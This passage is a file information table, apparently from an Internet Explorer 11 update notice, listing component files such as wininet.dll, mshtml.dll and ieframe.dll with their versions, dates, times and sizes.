\nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:35| 46,592 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:34| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:34| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:34| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:34| 56,320 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 16:01| 57,856 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 15:59| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 12:20| 49,664 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 16:00| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 15:59| 47,616 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 15:58| 49,152 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:34| 55,296 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 16:02| 45,056 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 15:57| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 15:57| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:39| 39,424 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 35,840 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:39| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:39| 53,760 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:39| 54,272 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 52,736 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:38| 51,200 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:37| 53,248 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:37| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 12-Feb-2021| 22:00| 51,712 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:37| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:27| 50,688 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:27| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:27| 50,176 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:27| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:34| 31,232 \nwininet.dll.mui| 11.0.9600.18538| 12-Nov-2016| 13:34| 31,232 \nhtml.iec| 2019.0.0.19301| 25-Feb-2019| 23:31| 417,280 \ninetcpl.cpl| 11.0.9600.19963| 12-Feb-2021| 18:26| 2,132,992 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:16| 307,200 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:16| 293,888 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:16| 290,304 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:17| 289,280 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:18| 299,008 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:15| 303,104 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:15| 282,112 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 21:33| 282,112 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:15| 296,960 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:15| 283,648 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:16| 291,840 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:18| 299,520 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:15| 275,968 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:12| 290,816 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:12| 293,376 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:26| 296,960 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:26| 258,048 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:25| 256,512 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:25| 289,280 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:25| 288,256 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:25| 285,184 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:26| 295,424 \nmshtml.dll.mui| 11.0.9600.19404| 10-Jul-2019| 0:25| 297,472 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:12| 292,864 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:13| 295,424 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:12| 294,400 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:12| 294,400 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:12| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 12-Feb-2021| 22:00| 290,816 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:13| 286,208 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:06| 281,600 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:04| 286,720 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:04| 292,352 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:04| 242,176 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:16| 243,200 \nmshtml.dll.mui| 11.0.9600.19404| 9-Jul-2019| 22:17| 243,200 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 73,728 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:00| 74,240 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 78,848 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 61,440 \nF12Resources.dll.mui| 11.0.9600.17278| 15-Aug-2014| 20:19| 61,440 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:00| 74,752 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 62,464 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:04| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 75,264 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:01| 68,608 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 71,680 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 73,216 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 41,472 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 37,888 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 68,608 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:01| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 74,240 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 70,656 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 71,168 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 71,680 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 71,168 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 69,632 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 12-Feb-2021| 22:01| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 59,904 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:04| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 69,120 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 29,696 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 30,720 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 30,720 \nJavaScriptCollectionAgent.dll| 11.0.9600.19963| 12-Feb-2021| 18:47| 77,824 \nDiagnosticsHub.ScriptedSandboxPlugin.dll| 11.0.9600.19963| 12-Feb-2021| 18:49| 276,480 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 46,080 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 51,712 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 54,272 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:08| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 45,056 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:19| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:19| 39,936 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:19| 39,424 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:19| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:19| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:19| 51,200 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:19| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 12-Feb-2021| 22:00| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:12| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:14| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:15| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:15| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:15| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:20| 35,328 \nwininet.dll| 11.0.9600.19963| 12-Feb-2021| 18:15| 4,859,904 \njsproxy.dll| 11.0.9600.17416| 30-Oct-2014| 21:57| 54,784 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:18| 114,176 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:16| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:17| 124,928 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:17| 122,880 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:17| 130,048 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:39| 138,240 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:38| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18666| 16-Apr-2017| 2:49| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:38| 131,584 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:39| 117,760 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:40| 122,368 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:17| 134,144 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:40| 107,008 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 2:53| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:36| 127,488 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:21| 128,512 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:19| 88,064 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 2:53| 82,944 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:18| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:18| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:21| 120,320 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:18| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:19| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:17| 125,952 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:17| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:16| 128,000 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:17| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:18| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:16| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 12-Feb-2021| 21:59| 124,416 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:18| 121,856 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:13| 115,712 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:14| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:13| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 16:13| 74,752 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:16| 75,776 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 17:17| 75,776 \nieui.dll| 11.0.9600.19650| 11-Feb-2020| 5:38| 615,936 \niedkcs32.dll| 18.0.9600.19963| 12-Feb-2021| 18:28| 381,952 \ninstall.ins| Not versioned| 12-Feb-2021| 16:26| 464 \nieapfltr.dat| 10.0.9301.0| 23-Sep-2013| 19:22| 616,104 \nieapfltr.dll| 11.0.9600.19963| 12-Feb-2021| 17:53| 800,768 \niepeers.dll| 11.0.9600.19963| 12-Feb-2021| 18:41| 145,920 \nlicmgr10.dll| 11.0.9600.17416| 30-Oct-2014| 21:40| 33,280 \ntdc.ocx| 11.0.9600.19963| 12-Feb-2021| 18:47| 88,064 \nDiagnosticsHub.DataWarehouse.dll| 11.0.9600.18895| 1-Jan-2018| 21:32| 666,624 \niedvtool.dll| 11.0.9600.19963| 12-Feb-2021| 21:02| 950,784 \nDiagnosticsHub_is.dll| 11.0.9600.19963| 12-Feb-2021| 19:21| 50,176 \ndxtmsft.dll| 11.0.9600.19963| 12-Feb-2021| 18:53| 491,008 \ndxtrans.dll| 11.0.9600.19963| 12-Feb-2021| 18:40| 316,416 \nEscMigPlugin.dll| 11.0.9600.19963| 12-Feb-2021| 19:01| 124,416 \nescUnattend.exe| 11.0.9600.19326| 25-Mar-2019| 22:54| 87,040 \nMicrosoft-Windows-IE-F12-Provider.ptxml| Not versioned| 15-Aug-2014| 15:51| 11,892 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:00| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 4,096 \nF12.dll.mui| 11.0.9600.17278| 15-Aug-2014| 20:19| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:59| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:04| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:01| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:01| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:01| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:02| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:04| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:01| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:04| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 4,096 \nF12.dll.mui| 11.0.9600.19963| 12-Feb-2021| 22:00| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 5:03| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:58| 3,584 \nDiagnosticsTap.dll| 11.0.9600.19963| 12-Feb-2021| 18:51| 245,248 \nF12Resources.dll| 11.0.9600.17496| 21-Nov-2014| 19:00| 10,949,120 \nF12Tools.dll| 11.0.9600.19963| 12-Feb-2021| 18:50| 372,224 \nF12.dll| 11.0.9600.19963| 12-Feb-2021| 18:37| 1,422,848 \nmsfeeds.dll| 11.0.9600.19963| 12-Feb-2021| 18:28| 809,472 \nmsfeeds.mof| Not versioned| 5-Feb-2014| 21:54| 1,518 \nmsfeedsbs.mof| Not versioned| 21-Aug-2013| 23:54| 1,574 \nmsfeedsbs.dll| 11.0.9600.19650| 11-Feb-2020| 5:16| 60,416 \nmsfeedssync.exe| 11.0.9600.17416| 30-Oct-2014| 22:08| 12,800 \nmshta.exe| 11.0.9600.17416| 30-Oct-2014| 22:12| 13,824 \nmshtmled.dll| 11.0.9600.19963| 12-Feb-2021| 18:42| 92,672 \nmshtml.dll| 11.0.9600.19963| 12-Feb-2021| 21:02| 25,762,816 \nmshtml.tlb| 11.0.9600.16518| 6-Feb-2014| 3:30| 2,724,864 \nMicrosoft-Windows-IE-HTMLRendering.ptxml| Not versioned| 5-Feb-2014| 21:41| 3,228 \nIEAdvpack.dll| 11.0.9600.17416| 30-Oct-2014| 21:54| 132,096 \nieetwcollector.exe| 11.0.9600.18895| 1-Jan-2018| 21:17| 116,224 \nieetwproxystub.dll| 11.0.9600.18895| 1-Jan-2018| 21:28| 48,640 \nieetwcollectorres.dll| 11.0.9600.16518| 6-Feb-2014| 3:30| 4,096 \nielowutil.exe| 11.0.9600.17416| 30-Oct-2014| 21:55| 222,720 \nieproxy.dll| 11.0.9600.19963| 12-Feb-2021| 17:48| 870,400 \nIEShims.dll| 11.0.9600.19650| 11-Feb-2020| 4:29| 387,072 \niexpress.exe| 11.0.9600.17416| 30-Oct-2014| 22:10| 167,424 \nwextract.exe| 11.0.9600.17416| 30-Oct-2014| 22:12| 143,872 \nimgutil.dll| 11.0.9600.19963| 12-Feb-2021| 18:08| 51,712 \nWindows Pop-up Blocked.wav| Not versioned| 23-Sep-2013| 20:25| 85,548 \nWindows Information Bar.wav| Not versioned| 23-Sep-2013| 20:25| 23,308 \nWindows Feed Discovered.wav| Not versioned| 23-Sep-2013| 20:25| 19,884 \nWindows Navigation Start.wav| Not versioned| 23-Sep-2013| 20:25| 11,340 \nbing.ico| Not versioned| 23-Sep-2013| 19:51| 5,430 \nieUnatt.exe| 11.0.9600.17416| 30-Oct-2014| 21:51| 144,384 \nMicrosoft-Windows-IE-InternetExplorer-ppdlic.xrm-ms| Not versioned| 12-Feb-2021| 21:24| 2,956 \njsdbgui.dll| 11.0.9600.19963| 12-Feb-2021| 18:43| 591,872 \njsprofilerui.dll| 11.0.9600.19963| 12-Feb-2021| 18:44| 628,736 \nMemoryAnalyzer.dll| 11.0.9600.19963| 12-Feb-2021| 19:01| 1,862,656 \nMshtmlDac.dll| 11.0.9600.19846| 23-Sep-2020| 21:25| 88,064 \nnetworkinspection.dll| 11.0.9600.19963| 12-Feb-2021| 18:38| 1,217,024 \noccache.dll| 11.0.9600.17416| 30-Oct-2014| 21:19| 152,064 \ndesktop.ini| Not versioned| 18-Jun-2013| 7:43| 65 \nwebcheck.dll| 11.0.9600.19963| 12-Feb-2021| 18:30| 262,144 \ndesktop.ini| Not versioned| 18-Jun-2013| 7:44| 65 \npdm.dll| 12.0.41202.0| 30-Sep-2014| 16:01| 579,192 \nmsdbg2.dll| 12.0.41202.0| 30-Sep-2014| 16:01| 403,592 \npdmproxy100.dll| 12.0.41202.0| 30-Sep-2014| 16:01| 107,152 \nmsrating.dll| 11.0.9600.18895| 1-Jan-2018| 20:56| 199,680 \nicrav03.rat| Not versioned| 23-Sep-2013| 19:32| 8,798 \nticrf.rat| Not versioned| 23-Sep-2013| 19:32| 1,988 \niertutil.dll| 11.0.9600.19963| 12-Feb-2021| 19:17| 2,915,840 \nie4uinit.exe| 11.0.9600.19963| 12-Feb-2021| 18:28| 728,064 \niernonce.dll| 11.0.9600.17416| 30-Oct-2014| 21:56| 34,304 \niesetup.dll| 11.0.9600.17416| 30-Oct-2014| 22:06| 66,560 \nieuinit.inf| Not versioned| 12-Mar-2015| 18:58| 16,303 \ninseng.dll| 11.0.9600.19101| 18-Jul-2018| 21:03| 107,520 \niesysprep.dll| 11.0.9600.17416| 30-Oct-2014| 21:29| 111,616 \nTimeline.dll| 11.0.9600.19963| 12-Feb-2021| 18:45| 219,648 \nTimeline_is.dll| 11.0.9600.19963| 12-Feb-2021| 19:07| 172,032 \nTimeline.cpu.xml| Not versioned| 24-Jul-2014| 11:58| 3,197 \nVGX.dll| 11.0.9600.19963| 12-Feb-2021| 18:43| 1,018,880 \nurl.dll| 11.0.9600.17416| 30-Oct-2014| 22:06| 237,568 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,066,432 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,121,216 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,075,136 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,063,872 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,314,240 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,390,528 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,034,176 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 23:22| 2,033,152 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:13| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:13| 2,255,872 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,061,312 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,326,016 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,019,840 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,071,040 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 2,082,816 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:18| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:17| 2,170,368 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:17| 2,153,984 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:15| 2,291,712 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:16| 2,283,520 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:17| 2,052,096 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:17| 2,301,952 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:18| 2,093,056 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:11| 2,075,648 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:10| 2,299,392 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:10| 2,094,592 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:12| 2,316,800 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:10| 2,305,536 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:11| 2,278,912 \nieframe.dll.mui| 11.0.9600.19963| 12-Feb-2021| 22:04| 2,286,080 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:11| 2,060,288 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:13| 2,315,776 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:13| 2,278,912 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:13| 2,324,992 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:13| 2,098,176 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 1,890,304 \nieframe.dll.mui| 11.0.9600.19846| 24-Sep-2020| 0:14| 1,890,304 \nieframe.dll| 11.0.9600.19963| 12-Feb-2021| 18:26| 15,506,944 \nieframe.ptxml| Not versioned| 5-Feb-2014| 21:41| 24,486 \nieinstal.exe| 11.0.9600.18639| 25-Mar-2017| 10:20| 492,032 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:00| 526,294 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:00| 499,654 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:59| 552,337 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:01| 944,559 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:14| 457,561 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:00| 543,946 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:01| 526,557 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:59| 575,838 \nInetRes.adml| Not versioned| 12-Feb-2021| 22:01| 570,737 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:56| 548,119 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:56| 639,271 \nInetRes.adml| Not versioned| 12-Feb-2021| 21:57| 525,504 